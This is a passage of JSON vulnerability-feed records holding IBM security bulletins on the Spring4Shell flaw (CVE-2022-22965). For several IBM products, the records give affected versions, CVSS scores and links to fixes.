"EF2166DB5EE8BD87E1440D3823C327B8BCA46A3FD349720520FD40C591911F30", "href": "https://www.ibm.com/support/pages/node/6572485", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-21T05:43:57", "description": "## Summary\n\nIBM Cognos Command Center is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring is used in IBM Cognos Command Center as a direct dependency of ActiveMQ. IBM Cognos Command Center 10.2.4.1 has upgraded to ActiveMQ 5.17.1 which uses Spring 5.3.19. ActiveMQ 5.17.1 requires Java 11 as a minimum version, therefore IBM Cognos Command Center has upgraded to IBM\u00ae Semeru JRE 11.0.14.1.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Cognos Command Center 10.2.4.1\n\n## Remediation/Fixes\n\nIt is strongly recommended that you apply the most recent security update:\n\n[IBM Cognos Command Center 10.2.4 Fix Pack 1 IF16](<https://www.ibm.com/support/pages/node/6890671>)\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-03-01T20:05:48", "type": "ibm", "title": "Security Bulletin: IBM Cognos Command Center is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-03-01T20:05:48", "id": "A871939B5F51CA69B0EDBC21D1816A26D5E84C73FB45D47DF354F899F5F6BB9B", "href": "https://www.ibm.com/support/pages/node/6590487", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:04:57", "description": "## Summary\n\nIBM Planning Analytics Workspace is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring is used in IBM Planning Analytics Workspace in Server Side Rest APIs as an indirect dependency by MongoDB that is used to store content. IBM Planning Analytics Workspace includes Spring 5.2.20. \n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Planning Analytics Workspace 2.0\n\n## Remediation/Fixes\n\nIt is strongly recommended that you apply the most recent security updates:\n\n[Download IBM Planning Analytics Local v2.0 - Planning Analytics Workspace Release 76 from Fix Central](<https://www.ibm.com/support/pages/node/6584994> \"Download IBM Planning Analytics Local v2.0 - Planning Analytics Workspace Release 76 from Fix Central\" ) \n \n\n\nThis Security Bulletin is applicable to IBM Planning Analytics 2.0 on premise offerings. This has been addressed on IBM Planning Analytics with Watson and no further action is required.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-17T16:21:25", "type": "ibm", "title": "Security Bulletin: IBM Planning Analytics Workspace is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-17T16:21:25", "id": "E0AC0F2CEF0686FD5D35D040E442195982E92EF98BDFD841F5F62D37D0337B68", "href": "https://www.ibm.com/support/pages/node/6586658", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:01:27", "description": "## Summary\n\nIBM Sterling B2B Integrator is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring Framework is used in the web application. Updated Spring library will be shipped in upcoming fix pack.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling B2B Integrator| 6.0.0.0 - 6.0.3.6, 6.1.0.0 - 6.1.0.5, 6.1.1.1 \n \n## Remediation/Fixes\n\n**Product(s)**| **Version(s)**| **Remediation/Fix \n** \n---|---|--- \nIBM Sterling B2B Integrator| 6.0.0.0 - 6.0.3.6, 6.1.0.0 - 6.1.0.5, 6.1.1.1| We have released 6.1.2.0 with non-vulnerable spring framework jars that can be downloaded from Passport Advantage \n \n## Workarounds and Mitigations\n\nIBM Sterling B2B Integrator is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Out of an abundance of caution, we will upgrade Spring Framework in our future release.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-03T20:07:31", "type": "ibm", "title": "Security Bulletin: IBM Sterling B2B Integrator is affected by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-08-03T20:07:31", "id": "8F4CAEB4814182DEBFBE7DFCA9FC13E3577204C307181835FA0E1CA012CAD9E1", "href": "https://www.ibm.com/support/pages/node/6570975", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T05:50:14", "description": "## Summary\n\nIBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring Framework is used in Watson Speech Services with embeedded Tomcat to build our STT and TTS java web services. The current fix includes Spring v5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Speech Services Cartridge for IBM Cloud Pak for Data | 4.0.0 - 4.0.6 \n \n\n\n## Remediation/Fixes\n\n**Product(s)**| **Version(s) \n**| **Remediation/Fix/Instructions** \n---|---|--- \n**IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data **| ** 4.0.7 **| **The fix in 4.0.7 applies to all versions listed (4.0.0-4.0.6). Version 4.0.7 can be downloaded and installed from: \n<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=installing-cloud-pak-data> \n** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-01-12T21:59:00", "type": "ibm", "title": "Security Bulletin: IBM Watson Speech Services Cartridge for IBM Cloud Pak for Data is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-01-12T21:59:00", "id": "EB58ABDFAA1D2A9C4F164D6FC9FD899843DF1F1028ECDA035A0F0C34CD298FAD", "href": "https://www.ibm.com/support/pages/node/6583151", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:21", "description": "## Summary\n\nIBM Sterling Connect:Direct for Microsoft Windows is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. The fix includes Spring 2.6.6.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling Connect:Direct for Microsoft Windows| 6.2.0.0 - 6.2.0.3_iFix012 \n \n\n\n## Remediation/Fixes \n \n--- \nIBM recommends addressing the possible vulnerability now by upgrading. **Affected Product(s)**| **Version(s)**| **APAR \n**| **Remediation / First Fix \n** \n---|---|---|--- \nIBM Sterling Connect:Direct for Microsoft Windows| 6.2| None| Apply [6.2.0.4](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~Other%20software&product=ibm/Other+software/Sterling+Connect%3ADirect+for+Microsoft+Windows&release=6.2.0.4&platform=All&function=fixId&fixids=6.2.*.*-IBMConnectDirectforMicrosoftWindows-x64-fp*> \"6.2.0.4\" ), available on Fix Central \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-11T12:12:42", "type": "ibm", "title": "Security Bulletin: IBM Sterling Connect:Direct for Microsoft Windows is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-11T12:12:42", "id": "9559CE1CF845BE27801B9A76018F0E7FFBD3159BCFFEE9D25526E6D24FA5F367", "href": "https://www.ibm.com/support/pages/node/6584984", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:05:32", "description": "## Summary\n\nIBM Watson Knowledge Catalog in Cloud Pak for Data is potentially vulnerable to arbitrary code execution due to Java Spring data binding vulnerability (CVE-2022-22965).\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Watson Knowledge Catalog on-prem| 3.5.1 \nIBM Watson Knowledge Catalog on-prem| 4.0 \n \n\n\n## Remediation/Fixes\n\n** IBM strongly recommends addressing the vulnerability now by upgrading. **\n\nInstall Watson Knowledge Catalog 4.0.8 (Refresh 8) or above: <https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=new-watson-knowledge-catalog>\n\nInstall Watson Knowledge Catalog 3.5.10 (Refresh 13) or above: <https://www.ibm.com/docs/en/cloud-paks/cp-data/3.5.0?topic=new-watson-knowledge-catalog>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-05-06T16:01:59", "type": "ibm", "title": "Security Bulletin: Java Spring vulnerability impacts IBM Watson Knowledge Catalog in Cloud Pak for Data (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-05-06T16:01:59", "id": "D9E06E5C382B357DD50008C0D277DB7D1B6D088C158C56C3D022303F1DFC00A4", "href": "https://www.ibm.com/support/pages/node/6583465", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T06:03:31", "description": "## Summary\n\nIBM Spectrum Symphony is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. IBM Spectrum Symphony includes Spring Framework related classes in the package. It impacts the WEBGUI, REST and HostFactory components. The fix upgrades spring framework into 5.2.20.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n_**Affected Product(s)**_| _**Version(s)**_ \n---|--- \nIBM Spectrum Symphony| 7.3 \nIBM Spectrum Symphony| 7.3.1 \nIBM Spectrum Symphony| 7.3.2 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerabilities now by upgrading the following interim fixes in the table:**\n\n_**Products**_| _**VRMF**_| _**APAR**_| _**Remediation/First Fix**_ \n---|---|---|--- \nIBM Spectrum Symphony| 7.3| \n\nP104637\n\nP104651\n\nP104653\n\nP104656\n\nP104676\n\nP104677\n\n| \n\n[sym-7.3-build601113](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3-build601113&includeSupersedes=0> \"sym-7.3-build601113\" )\n\n[sym-7.3-build601128](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3-build601128&includeSupersedes=0> \"sym-7.3-build601128\" )\n\n[sym-7.3-build601137](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3-build601137&includeSupersedes=0> \"sym-7.3-build601137\" )\n\n[sym-7.3-build601138](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3-build601138&includeSupersedes=0> \"sym-7.3-build601138\" )\n\n[sym-7.3-build601161](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3-build601161&includeSupersedes=0> \"sym-7.3-build601161\" )\n\n[sym-7.3-build601162](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3-build601162&includeSupersedes=0> \"sym-7.3-build601162\" ) \n \nIBM Spectrum Symphony| 7.3.1| \n\nP104630\n\nP104643\n\nP104644\n\nP104645\n\nP104649\n\nP104650\n\n| \n\n[sym-7.3.1-build601108](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.1-build601108&includeSupersedes=0> \"sym-7.3.1-build601108\" )\n\n[sym-7.3.1-build601120](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.1-build601120&includeSupersedes=0> \"sym-7.3.1-build601120\" )\n\n[sym-7.3.1-build601122](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.1-build601122&includeSupersedes=0> \"sym-7.3.1-build601122\" )\n\n[sym-7.3.1-build601124](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.1-build601124&includeSupersedes=0> \"sym-7.3.1-build601124\" )\n\n[sym-7.3.1-build601125](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.1-build601125&includeSupersedes=0> \"sym-7.3.1-build601125\" )\n\n[sym-7.3.1-build601126](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.1-build601126&includeSupersedes=0> \"sym-7.3.1-build601126\" ) \n \nIBM Spectrum Symphony| 7.3.2| \n\nP104634\n\nP104654\n\nP104670\n\nP104671\n\nP104678\n\nP104679\n\n| \n\n[sym-7.3.2-build601111](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.2-build601111&includeSupersedes=0> \"sym-7.3.2-build601111\" )\n\n[sym-7.3.2-build601143](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.2-build601143&includeSupersedes=0> \"sym-7.3.2-build601143\" )\n\n[sym-7.3.2-build601154](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.2-build601154&includeSupersedes=0> \"sym-7.3.2-build601154\" )\n\n[sym-7.3.2-build601155](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.2-build601155&includeSupersedes=0> \"sym-7.3.2-build601155\" )\n\n[sym-7.3.2-build601164](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.2-build601164&includeSupersedes=0> \"sym-7.3.2-build601164\" )\n\n[sym-7.3.2-build601165](<http://www.ibm.com/support/fixcentral/swg/selectFixes?product=ibm/Other+software/IBM+Spectrum+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.3.2-build601165&includeSupersedes=0> \"sym-7.3.2-build601165\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-20T03:16:58", "type": "ibm", "title": "Security Bulletin: IBM Spectrum Symphony is affected but not classified as vulnerable by a remote code execution in Spring Framework (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-06-20T03:16:58", "id": 